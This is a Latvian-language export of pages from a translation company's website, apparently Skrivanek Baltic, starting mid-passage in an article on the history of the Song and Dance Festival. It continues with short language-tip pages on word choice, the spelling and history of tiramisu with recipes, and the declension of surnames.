krastiem 1979. gadā Visbijā, Gotlandē, notika I Pasaules brīvo latviešu dziesmu dienas. To idejas autors un galvenais rīkotājs bija A. Jērums. II un III dziesmu dienas notika Minsterē, Vācijā, 1984. gadā un 1987. gadā, kopkora priekšā ir stājušies kopumā 12 virsdiriģenti. SVĒTKU NORISES LAIKS, PERIODISKUMS, KĀRTĪBA 1. un 2. perioda svētki tika rīkoti laikā ap Jāņiem – I svētki pēc Jāņiem un visi pārējie – pirms. 3. perioda svētku laiku okupācijas varas iestādes centās pieskaņot ideoloģiski svarīgam datumam – Latvijas Padomju Sociālistiskās Republikas dibināšanas dienai 21. jūlijā. Ceturtā perioda svētki, izņemot XXIV, tiek rīkoti pēcjāņu nedēļā. Jau 2. periodā iezīmējās piecgadu starplaiks starp sekojošiem svētkiem. Ar dažiem izņēmumiem tas tika ievērots 3. un 4. periodā. Garākus starpsvētku pārtraukumus radīja lielāki sociāli politiski satricinājumi – 1905. gada revolūcija un abi pasaules kari. Dziesmu un deju svētku norisē ir pastāvīgās un mainīgās daļas. Par pamatelementiem tiek uzskatīti svētku gājiens, kopkora koncerti un koru sacensības jeb dziesmu karš. Gājiens ir noticis gandrīz visos svētkos, tas ir svētku visvairāk reprezentējošā daļa. Kopkora koncerti ir dziesmu svētku būtība, tie parāda dalībnieku vēlmi dziedāt kopējas, visu apgūtas dziesmas, gūstot vienojošu emocionālu baudījumu, simboliski tie pauž latviešu tautas vienotības un kopīgas darbošanās ideju. Dziesmu karš noticis gandrīz visos svētkos, tā uzdevums ir noteikt labākos korus. Dziesmu kari rosinājuši līdzīgas sacensības arī citās jomās: dejotāju sacensības notiek kopš 1948. gada, pūtēju orķestru sacensības – kopš 1960. gada. Tērpu kari jeb sacensības par etnogrāfiski pareizākajiem un skaistākajiem koru un individuālu dalībnieku tērpiem notika 2. periodā no 1931. gada (VII–IX svētkos); pēc ilgāka pārtraukuma atsākās 1998. gadā (XXII svētkos) un turpinājās nākamajos svētkos. Latvijas Skolu jaunatnes dziesmu un deju svētki (izņemot II, IV un VII) notiek reizi piecos gados laika posmā starp Vispārējiem latviešu dziesmu un deju svētkiem. SVĒTKU DALĪBNIEKI UN RĪKOTĀJI Galvenā loma Vispārējo latviešu dziesmu svētku sākotnējās idejas realizēšanā bija Rīgas Latviešu biedrībai, tā bija arī I, II, III un V svētku rīkotāja. IV svētku rīkotāja bija Jelgavas Latviešu biedrība. Dziesmu svētku 2. periodā rīkošanā iesaistītās divas galvenās organizācijas bija Latvijas Skaņražu kopa (dibināta 1923. gadā) un Latviešu Dziesmu svētku biedrība (dibināta 1830. gadā). Starpsvētku laikā darbojās dažādas vietējās un nacionālās organizācijas, īpaši nozīmīga loma kopkoru pasākumu rīkošanā novados bija Latviešu jaunatnes savienībai. 3. periodā dziesmu un deju svētku organizēšanu vadīja, kā arī repertuāra uzraudzību un ideoloģisko diktātu realizēja 1947. gadā izveidotā Republikāniskā Dziesmu svētku komisija (vēlāk – komiteja, orgkomiteja). Jau 1948. gadā operatīvo jautājumu risināšanai svētku laikā tika izveidots Dziesmu svētku štābs. Lai nodrošinātu koru un citu amatiermākslas grupu darbošanos starpsvētku laikā, rūpētos par repertuāru, organizētu grupu māksliniecisko vadītāju mācības, 1945. gadā tika izveidota Kultūras ministrijas palīgstruktūra, kuras nosaukums laika gaitā mainījies, no 1989. gada – E. Melngaiļa Tautas mākslas centrs. 4. periodā dziesmu un deju svētku organizācija, saglabājot zināmas iepriekšējo periodu iestrādes, turpināja mainīties. Dziesmu un deju svētku rīcības komiteju vada Ministru prezidents un viņa vietnieks – kultūras ministrs, un mākslinieciskā padome, kas darbojas kultūras ministra vadībā. Apvienojot dažādu kultūras nozaru speciālistus, svētku sagatavošanā un organizēšanā piedalās Latvijas Nacionālais kultūras centrs. Svētku norisi Rīgā nodrošina īpaša Rīgas pilsētas pašvaldības komiteja. DAŽĀDO MĀKSLAS FORMU IZMANTOŠANA UN LOMA SVĒTKU NORISĒ 1. periodā svētku kodols bija divi koncerti – pirmais ar reliģisku, otrais – ar laicīgu tematiku. Sākot ar III svētkiem, galveno sarīkojumu skaitā iekļāva trešo – vokāli instrumentālo koncertu, kurā bija arī orķestris un solisti. 2. periodā atsevišķa garīgās mūzikas koncerta nebija, reliģiska satura dziesmas skanēja 1. koncerta sākumā. 3. koncerta saturs katros svētkos bija atšķirīgs, uzstājās arī viesu kori, spēlēja kara orķestris. 3. periodā divi galvenie kopkora koncerti tika papildināti ar sportistu demonstrējumiem, deju priekšnesumiem, apvienotā pūtējorķestra spēlētiem skaņdarbiem. X–XII, XVIII un XIX svētkos padomju vara savu klātbūtni demonstrēja, priekšnesumos iekļaujot okupācijas armijas karavīru maršēšanu, dziedāšanu un pūtējorķestra uzstāšanos. Līdzās kopkora koncertiem Mežaparkā tika rīkots apvienoto deju kopu koncerts stadionā. 4. perioda svētkos pastiprinājās saturiski un formāli jaunu, nacionālajai tradīcijai atbilstošāko variantu meklējumi. Kopkora koncertos tika iesaistītas folkloras kopas, solisti, popmūziķi, paši koncerti tika veidoti kā tematiskas programmas. Deju lieluzvedumi arī ieguva tematisku virzību, to veidošanā integrēta mākslinieciska efekta sasniegšanai tika izmantoti latvju raksti, īpašas instalācijas un izgaismojums. Atsevišķos koncertos skanējusi latviešu un ārzemju autoru simfoniskā mūzika, kamermūzika, ērģeļmūzika, pūtējorķestru mūzika. Kopš 1973. gada Latvijas Universitātes Lielajā aulā ticis rīkots tautas mūzikas koncerts ar koncertkokļu ansambļu piedalīšanos, bet kopš 1990. gada atsevišķā koncertā uzstājās folkloras kopas. Svētku programmā tika iekļautas operas un baleta izrādes (VI, IX svētkos), kā arī teātra izrādes (IV, VII, VIII, IX svētkos). Svētku laikā rīkotas dažādas izstādes – lauksaimniecības, rūpniecības un amatniecības izstāde (IV svētkos), daiļamatniecības, (tautas) lietišķās mākslas izstādes. Ar tematiskām izstādēm svētku laikā piedalījušies arī muzeji. SVĒTKU NOZĪME SABIEDRĪBĀ Gadu ritējumā nemainīgs saglabājies viens no Dziesmu un deju svētku galvenajiem uzdevumiem – uzturēt nācijas garīgo vienotību. Piederības apliecinājums Latvijai svētkos neiztrūkstoši izpaužas un ir sajūtams pastāvīgajā Dziesmu svētku repertuārā, kas katru svētku kulminācijā izskan kā lūgšana. Tāda ir kopkora dziedātā Jāzepa Vītola balāde „Gaismas pils”, Mārtiņa Brauna komponētā „Saule, Pērkons, Daugava”, Emila Melngaiļa dziesmas u. c. Tāpat neatņemama svētku daļa ir svētku gājiens. Dziesmu un deju svētki turpina iedvesmot un ieņem arvien būtiskāku lomu sabiedrības dzīvē. Par to liecina arvien augošais svētku dalībnieku skaits. 2013. gadā notikušie XXV Dziesmu un XV Deju svētki pulcināja rekordlielu dalībnieku skaitu – 40 000 dalībniekus. Tie bija vairāk nekā 1500 kolektīvu, tostarp 100 mazākumtautību, 57 latviešu diasporas un 25 ārvalstu kolektīvi. 2014. gadā Vispārējo latviešu dziesmu un deju svētku noslēguma diena tika noteikta par oficiālu Latvijas Republikas svētku dienu. Kopš 2013. gada Latvijas Kultūras akadēmijas Zinātniskās pētniecības centrs regulāri īsteno Dziesmu un deju svētku tradīcijai veltītus teorētiskus un empīriskus pētījumus, kuru rezultāti nodrošina visaptverošu tradīcijas monitoringu. Īstenotais pētnieciskais darbs ļauj apjaust Dziesmu un deju svētku tradīcijas nozīmīgumu un novērtējumu sabiedrībā, aktualizē pārmantošanas priekšnoteikumus, kā arī izaicinājumus, ar ko saskaras tradīcijas dalībnieki, organizatori un sabiedrība kopumā. 2018. gadā XXVI Dziesmu un XVI Deju svētki bija plānoti kā Latvijas valsts simtgades augstākā virsotne. Tam par godu tika pilnībā rekonstruēta Dziesmu svētku estrāde Mežaparkā un Daugavas stadions. Tāpat tika plānota vērienīga svētku programma ar bagātīgu jaundarbu pienesumu, kā arī aicinājumu valsts simtgadei par godu katram pašam sev radīt un XXVI Dziesmu un XVI Deju svētkos uzvilkt tautastērpu. Svētki iemantoja arī starptautisku atzinību un atbalstu: Baltijas valstu dziesmu un deju svētku tradīcija 2003. gada tika atzīta par UNESCO (Apvienoto Nāciju Izglītības, zinātnes un kultūras organizācija) Cilvēces mutvārdu un nemateriālā kultūras mantojuma meistardarbu un 2008. gadā iekļauta UNESCO Reprezentatīvajā cilvēces nemateriālā kultūras mantojuma sarakstā,izceļot šīs tradīcijas vērtību ne tikai Baltijas valstu, bet visas pasaules kontekstā. Dziesmu un deju svētku tradīcijas ilgtspēja veidojusies vēstures un kultūras attīstības līkločos: kā nevardarbīga protesta forma, kā iespēja apliecināt savu piederību vienotai nācijai; caur katru svētku dalībnieku, viņa vēlmi piedalīties un pašapliecināties kolektīvā mākslinieciskā darbībā; caur vērienīgo un nepārtraukto radošā darba procesu svētku organizēšanā un sagatavošanā svētku starpposmos, sadarbojoties tautas mākslas kolektīviem, profesionāliem māksliniekiem un tradicionālās kultūras lietpratējiem. Šī tradīcija aptver visus Latvijas reģionus ar tūkstošiem visu paaudžu, sociālo slāņu, etnisko grupu un dzimumu dalībniekiem; caur kopīgo repertuāru, kur apvienojas tautas tradicionālā kultūra ar profesionālo mākslu un jaunradi, kas katros nākamajos svētkos izpaudusies īpaši radītos profesionālu mūziķu un horeogrāfu darbos. KORU KULTŪRA Ja esi kopā ar latviešiem, tad zini – agrāk vai vēlāk viņi sāks dziedāt. Tūkstošbalsīgā dziesmu svētku unisona pamatā ir katra kordziedātāja smagais darbs. Latvija vēl arvien ir „zeme, kas dzied”, un to nodrošina pamatīgā tradīcija un rūpīgs darbs. Kora dziedāšana ir latviešu identitātes neatņemama sastāvdaļa kopš 19. gs. tautas atmodas. Līdz ar to kolektīvā dziedāšana latviešiem kļuva par tikpat ievērojamu žanru, kā citām tautām bija opera, klasiskās mūzikas dziesmas, šansoni un simfonijas. Kora mūzika Latvijā kļuva par izcilāko komponistu, diriģentu un sabiedrības vadītāju iecienītāko žanru un tādējādi – arī par vadošo latviešu profesionālās mūzikas žanru. Profesionālu komponistu iesaistīšanās koru vadīšanā padarīja to par ievērojamu un sociāli nozīmīgu nodarbi. Šai neparastajai situācijai Latvijā bija tālejošas sekas. Starpkaru periodā Latvijā bija vairāki kori, kas īpaši izcēlās daudzo amatieru koru vidū. Teodora Reitera vadītais koris šo divdesmit gadu laikā devās desmit lielās koncertturnejās un vairoja latviešu koru slavu un atzinību ārpus Latvijas. Pirmo latviešu skaņu filmu veidotāji pat izvēlējās šo kori, lai ieskaņotu filmu skaņu celiņus. Vēl šobaltdien Reitera koris ir latviešu kultūras un identitātes stūrakmens. Gandrīz ikkatrā skolā darbojas kāds koris, un katrs amatieru koris tiecas kļūt par profesionāli. Ikviens izcils diriģents ir sabiedrības pīlārs un slavenība. Latvieši ir gatavi sadarboties ar koru entuziastiem visā pasaulē. Piemēram, Latvijas Radio koris sadarbībā ar vadošajiem koriem no Vācijas, Nīderlandes, Zviedrijas, Francijas, Lielbritānijas, Īrijas, Norvēģijas un Dānijas izveidoja Eiropas profesionālo kamerkoru tīklu TENSO. Latvijas labākie profesionālie kori ieņem pilntiesīgu vietu starp labākajiem pasaulē. Leģendārs ir Latvijas Radio koris, kamerkoris Ave Sol un Valsts Akadēmiskais koris Latvija. Viņi bieži izpilda vissarežģītāko mūsdienu vokālo partitūru pasaules pirmatskaņojumus. Jauniešu kamerkoris Kamēr ir ieguvis galvenās balvas daudzos starptautiskos konkursos visā pasaulē. 2006. gadā koris Kamēr pārliecinoši ieguva pirmo vietu visās trijās pasaules koru olimpiādes kategorijās, tāpēc Latvija ieguva tiesības rīkot šo pasākumu 2014. gadā. Pasaules koru olimpiāde bija viskrāšņākais notikums 2014. gadā, kad Rīga bija Eiropas kultūras galvaspilsēta. Latvijas kori bija labākie lielākajā daļā konkursu un ieguva lielāko daļu balvu. Vislielākais gods Latvijai tika izrādīts, piešķirot pirmo Pasaules koru Miera balvu par kordziedāšanas tradīcijām. KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- > Vai burtnīcā vilksim līniju, strīpu vai svītru? Uzzini atbildi! Noderīgi latviešu valodas padomi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-04-16 - Modified: 2025-07-08 - URL: https://skrivanek.lv/linija-pret-stripa-pret-svitra/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LĪNIJA VAI SVĪTRA, VAI TOMĒR STRĪPA 1 Vai burtnīcā vilksim līniju, strīpu vai svītru? Uzvilktu vai iekrāsotu šauru joslu saucam par līniju vai svītru – vārdi šajā nozīmē ir sinonīmi. Vārds „strīpa” uzskatāms par sarunvalodas vārdu, tāpēc literārajā valodā labāk izvēlēties vārdu „līnija” vai „svītra”. Tātad burtnīcā vilksim līniju vai svītru. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai gatavosim tiramisu vai tiramisū? Kā pareizi raksta deserta nosaukumu? Ieskaties un uzzini visu par šo slaveno un gardo Itālijas desertu! - Published: 2018-04-16 - Modified: 2025-03-19 - URL: https://skrivanek.lv/tiramisu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TIRAMISU PRET TIRAMISŪ 1 Vai gatavosim tiramisu vai tiramisū? Tradicionālo itāļu desertu, kas sastāv no kafijā un brendijā vai liķierī mērcētiem cepumiem un krēmveida siera kārtojuma, sauc par tiramisu. Itāļu valodā vārdu „tiramisu” izrunā ar uzsvaru uz pēdējās zilbes, tāpēc reizumis deserta nosaukumu kļūdaini rakstām ar garo patskani „u” vārda beigās. Saskaņā ar pareizrakstības normām deserta nosaukums rakstāms „tiramisu”. Tātad gatavosim tiramisu sev un cienāsim ar tiramisu arī savus viesus! Citi latviešu valodas padomi TIRAMISU – ITĀĻU DESERTA KARALIS Itāļu tira mi su burtiski var tulkot kā „pacel mani augšā” – pēc vienas no versijām, tas ir saistīts ar augsto kaloriju daudzumu deserta porcijā. Bet lielākā daļa itāļu apgalvo, ka domāts ir emocionālais stāvokli un šo nosaukumu tulko kā “pacel manu omu” vai “uzmundrini mani”. Pastāv arī vēl viena karstasinīgo itāļu versija, kas tiramisu uzskata par uzbudinošu kārumu (kafijas un šokolādes kombinācija). Augstmaņi ēda tiramisu pirms tikšanās reizēm ar savām mīļākajām. Starp citu, Itālijā šo desertu restorānos biežāk pasūta vīrieši, sievietes dod priekšroku kaut kam citam, vieglākam, vai arī tiramisu mazāk kaloriju saturošajam variantam − tiramisu ar zemenēm. Ēdot šo desertu kompānijā ar itāļiem, noteikti būs jānoklausās daudzas leģendas par deserta izcelsmi un vēsturiskas anekdotes par venēciešu dzīves tēmām. TIRAMISU VĒSTURE Pirmā tiramisu porcija tika pagatavota Itālijas ziemeļos 17. gs. beigās. Tā bija gandrīz nejaušība. Reiz Toskānas erchercogs Kozimo III de Mediči, kas bija izslavēts saldummīlis, nolēma apmeklēt blakus esošo Sjēnu. Vietējie pavāri gribot izpatikt augstajam viesim, izrādīja fantāziju un saldajā pagatavoja pavisam jaunu ēdienu nosaucot to zuppa del duca (hercoga zupa). Deserts tik ļoti iegaršojās erchercogam, ka viņš apēda visu līdz pat pēdējai karotītei un recepti paņēma līdzi uz Florenci, jo nespēja vairs iedomāties dzīvi bez šī garduma. Florence, pateicoties Mediči dinastijas gudrajam valdījumam, 17. gs. beigās kļuva par mākslas centru, uz kuru no visas Itālijas saplūda mākslinieki, skulptori un dzejnieki. Viņi pēc nopelniem atzina Sjēnas konditoru “saldo mūzu” un smēlās tajā iedvesmu, lai radītu nemirstīgus šedevrus. No Florences zuppa del duca pārcēlās uz Trevizo, no turienes uz Venēciju. Skaistās Venēcijas kurtizānes ātri vien atklāja ar kalorijām bagātā deserta burvību un iesāka to lietot pirms atbildīgākajām tikšanās reizēm. Viņas apgalvoja, ka zuppa del duca ne tikai uzlabo omu, bet tai arī piemīt uzbudinošas īpašības. Tieši viņu vieglajām rokām gatavotais ēdiens ieguva jaunu nosaukumu − Tiramisu, kas tulkojumā skan nedaudz divdomīgi: “Uzmundrini mani” (pacel manu omu). Protams, ir arī citas versijas, mazāk kolorītas. Tā, piemēram, atrodas skeptiķi, kuri apgalvo, ka senajās itāliešu receptēs nav nekā līdzīga tiramisu, tāpēc tas tika izdomāts pavisam nesen un tikai nomaskēts kā tradicionāls ēdiens ar gadu simtu senu vēsturi, lai pievilinātu uzmanību šim desertam. 2006. gadā avīze Baltimor San nopublicēja interviju ar konditoru Karminantonio Iannakone, kurš apgalvoja, ka tieši viņš izgudroja tiramisu un jau gadiem to gatavo Trevizo ceptuvē. Galu galā pastāv arī parasta sadzīves – praktiskā teorija: it kā itāļi aizdomājušies līdz tiramisu radīšanai pavisam vienkāršā veidā – mērcējot sakaltušus cepumus kafijā. Un pēc tam jau sākuši pievienot desertā liķieri un kā pēdējais parādījies siers. KLASISKĀ TIRAMISU SASTĀVDAĻAS Kas tad īsti ir tiramisu? Izskaidrot to nav iespējams, jo tā nav ne torte, ne pudiņš, ne suflē. Tas ir kaut kas tik ļoti itālisks – vienlaicīgi gaisīgs, maigs, mazliet bezkaunīgs un neaizmirstams kā pati Itālija. Galu galā šim itāļu desertam ir aristokrātiska izcelsme, tāpēc tas prasa atbilstošu attieksmi pret sevi un, pats galvenais, receptes ievērošanu un visu sastāvdaļu autentiskumu. Tiramisu galvenā sastāvdaļa ir maskarpones siers, ko ražo tikai Apenīnu pussalā, precīzāk − Lombardijā. Lombardijas ainavas apbrīnoja arī Petrarka, Dante un D'Annuncio, savos darbos apdziedot šī reģiona skaistumu − zaļās pļavas un ezerus. Un līdz pat mūsdienām šajās pļavās ganās labi paēdušas govis, no kuru piena iegūst kvalitatīvu krējumu, bet no krējuma – unikālu sieru (55% tauku). Tas atgādina kaut ko starp ļoti treknu skābo krējumu un mīkstu biezpienu. Tā nosaukums cēlies no vārda mascherpa — biezpiens lombardiešu dialektā. Ja visi pārējie sieri ir piena pārstrādes produkts, tad maskarpone ir krējuma pārstrādes produkts, kas piešķir sieram smalku aromātu, unikālu garšu un spēcīgu kaloriju lādiņu. Nākamā, ne mazāk svarīgā sastāvdaļa ir savoiardi − sausi, gaisīgi cepumi, kas pagatavoti no olu baltuma, miltiem un cukura. Un beidzot – Marsalas vīns, kas ir ļoti iecienīts itāļu konditoru vidū kā daudzu desertu sastāvdaļa. Parasti tiek izmantots Fine un Superiore kategorijas Marsalas vīns. Marsalas vīna vēsture aizsākās 1773. gadā Sicīlijā, Marsalas pilsētas apkaimē. Admirāļa Nelsona Vidusjūras eskadra, dodoties ceļā uz Ēģipti, uz kuģa nogādāja jaunu vīna partiju, lai to novērtētu īstie jūras vilki – stipro dzērienu pazinēji. Jūrniekiem un pašam admirālim vīns tik ļoti iegaršojās, ka, atgriežoties dzimtenē, viņi sarīkoja tam veiksmīgu reklāmas kampaņu. Marsalas ražošanā tiek izmantotas dažādas piedevas, lai dzērienam piešķirtu banānu, apelsīnu, mandarīnu vai kafijas garšu. ORIĢINĀLAIS TIRAMISU NO TREVIZO Fakts, ka tiramisu receptes nav atrodamas vecās itāļu pavārgrāmatās, liek domāt, ka, visticamāk, šodien pazīstamais deserts tiramisu radīts Trevizo pilsētā, restorānā “Le Beccherie” pagājušā gadsimta beigās. Visas minētās leģendas esot labi noderējušas, lai jauno saldo ēdienu ar intriģējošiem stāstiem padarītu klientiem pievilcīgāku. Katrā ziņā lieliskais itāļu tiramisu tiešām garantē saldu baudījumu, un tā slava ir strauji izplatījusies visā Eiropā un pasaulē. Kopš labs krēmsiers pieejams arī Latvijā, tiramisu dažādās variācijās pie mums gatavo gan mājās, gan restorānos Tiramisu jeb Tiramesu Trevizo dialektā ir itāļu izcilākais deserts. Tam ir neskaitāmas variācijas, un šī necilā delikatese mūsdienās ir starptautiski pazīstama. Tiramisu ir viens no pieciem slavenākajiem itāļu vārdiem pasaulē! Tiramisu vēsture ir cieši saistīta ar “Le Beccherie”, vēsturisko restorānu Ancillotto laukumā, Trevizo centrā. Tieši tur 1972. gadā restorāna desertu ēdienkartē pirmo reizi parādījās vārds Tiramesu, taču restorāna īpašnieki tā arī nekad desertu netika patentējuši. Tomēr deserta pirmsākumi meklējami vairākus gadus iepriekš, kad toreizējā restorāna šefpavāre Alba Kampeola, restorāna īpašnieka Ado Kampeola sieva, gaidīja savu pirmdzimto dēlu Karlo. Tas notika 1955. gadā. Lai palīdzētu savai jaunajai vedeklai atgūt spēkus pēc dzemdībām, Albas vīramāte pagatavoja sātīgas brokastis ar sabajonu un kafiju. Kad Karlo jau bija paaudzies un Alba bija atgriezusies darbā restorāna virtuvē, viņa nolēma ieviest jaunu desertu, ko bija iedvesmojušas šīs gardās brokastis. Kopā ar restorāna konditoru Roberto Loli Linguanotto uzsāka ilgu eksperimentu sēriju, kas vainagojās panākumiem kaut kad laikā no 1971. līdz 1972. gadam. Īstais pavērsiens notika, kad pēc neskaitāmiem mēģinājumiem izmantot krējumu, rikotas sieru un citas sastāvdaļas, Alba un Linguanotto nolēma izmēģināt svaigu maskarponi. Tajā pašā gadā “Le Beccherie” piedalījās Milānas izstādē, prezentējot ēdienkarti, kuras pēdējais ēdiens bija Tiramesù. 2010. gada 15. oktobrī “Le Beccherie” tiramisu receptes autentiskums tika notariāli apstiprināts Accademia Italiana della Cucina (Itālijas virtuves akadēmijā). Kopš 1955. gada tiramisu slava ir šķērsojusi valstu robežas, un tas ir kļuvis par Itālijas un Veneto kulinārijas simbolu visā pasaulē. Svarīga loma šī deserta izplatībā neapšaubāmi bija Trevizo iedzīvotājiem, kuri Otrā pasaules kara laikā emigrēja uz visām pasaules malām, līdzi paņemot šo visu iecienīto desertu. Pat šodien “Le Beccherie” turpina šo garšīgo tradīciju: tiramisu tiek gatavots pēc oriģinālās receptes, klasiskās versijas un, piedzīvojumiem bagātākiem klientiem – pārveidotā versijā. TIRAMISU RECEPTES “LE BECCHERIE”RECEPTE SASTĀVDAĻAS 12 olu dzeltenumi, ½ kg cukura, viens kg maskarpones siera, 60 savoiardi cepumi, kafija pēc garšas, kakao pulveris. PAGATAVOŠANA Uzvāra kafiju un atstāj bļodā atdzist. Sakuļ 12 olu dzeltenumus ar ½ kg cukura un pievieno vienu kg maskarpones siera, lai pagatavotu mīkstu krēmu. Iemērc 30 savoiardi cepumus kafijā, uzmanoties, lai tie neizmirktu pārāk daudz un sakārto tos rindā sākot no apļveida formas centra. Uzklāj pusi krēma uz cepumiem un pēc tam uzklāj vēl vienu kārtu no 30 cepumiem, kas arī iemērkti kafijā, tam visam pa virsu izklāj atlikušo maskarpones krēmu. Desertu pārkaisa ar kakao pulveri. Uzglabāt ledusskapī līdz gatavs pasniegšanai. Sākotnējā tiramisu “Le Beccherie” forma bija apaļa. Tas tika pasniegts šķēlēs, kuras dekorēja ar Karlo Kampeolas veidoto restorāna logotipu no kakao pulvera. SKRIVANEK ZIEMASSVĒTKOS NEAPĒSTO PIPARKŪKU TIRAMISU Skrivanek darbinieki ir izsenis zināmi kā lieli gardēži. Tādēļ neizbēgams ir fakts, ka pēc Ziemassvētkiem mūsu birojā būs palikušas neapēstas, pusē iekostas, sadrupušas piparkūkas. Tad nu tās izmantojam, lai palutinātu sevi ar mūsu tradicionālo piparkūku tiramisu. SASTĀVDAĻAS 300 g piparkūku; 200 ml saldā krējuma; 300 g maskarpones siera; 100 g cukura; ēdamkarote vaniļas cukura; kakao pulveris. PAGATAVOŠANA Piparkūkas sadrupina. Saldo krējumu saputo ar cukuru un vaniļas cukuru, pieliek maskarpones sieru (maskarpones vietā var izmantot arī rikotas sieru). Traukā liek kārtu maskarpones un saldā krējuma krēma, pārkaisa ar piparkūkām, liek nākamo kārtu krēma, tā turpina, līdz noslēdz ar piparkūku kārtu vai pārkaisa ar rīvētu šokolādi vai kakao. Kārtojumu var sagatavot lielākā traukā vai mazākos porciju trauciņos. Desertu atstāj uz pāris stundām, lai sastāvdaļas sadraudzējas. Lūk tā! Mēs ceļamies spārnos! ITĀĻU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu itāļu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no itāļu valodas. Tulkojumi itāļu valodā ITĀĻU VALODAS KURSI Piedāvājam itāļu valodas mācības uzņēmumu un iestāžu darbiniekiem. Privātpersonām nodrošinām regulāros itāļu valodas kursus grupā bez priekšzināšanām vai individuālos itāļu valodas kursus ar dažādiem zināšanu līmeņiem. Īpašais piedāvājums - apmeklējiet individuālos itāļu valodas kursus divatā, maksājot tikai par viena studenta mācībām! Itāļu valodas kursi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- > Vai Anna un Jānis Egles saņems ielūgumu, kas adresēts Eglēm vai Egļiem? Uzzini atbildi! Noderīgi valodas padomi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-04-16 - Modified: 2022-12-22 - URL: https://skrivanek.lv/eglem-pret-egliem/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional EGLĒM PRET EGĻIEM 1 ielūgumu, kas adresēts Eglēm vai Egļiem? Latviešu valodā ir kopdzimtes lietvārdi ar galotnēm „-a”, piemēram, „auša” vai „paziņa”, un „-e”, piemēram, „balamute”, arī sieviešu un vīriešu uzvārdi sastopami ar šādām galotnēm: Aija Lapa un Andris Lapa, Una Krūze un Kaspars Krūze utt. Šādu uzvārdu locīšanā dzimtes izšķirības izpaužas tikai vienā locījumā – vienskaitļa datīvā (Kam? ): sieviešu dzimtes uzvārdos galotnes ir „-ai” „-ei”, tātad vēstuli mēs rakstītu Aijai Lapai un Unai Krūzei, bet Andrim Lapam un Kasparam Krūzem. Citos locījumos galotnes ir tādas pašas kā citiem 4. un 5. deklinācijas lietvārdiem. Tātad mūsu draugi Anna un Jānis Egles saņems ielūgumu, kas adresēts Annai un Jānim Eglēm, Aija un Andris Lapas – Aijai un Andrim Lapām, Una un Kaspars Krūzes – Unai un Kasparam Krūzēm. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam 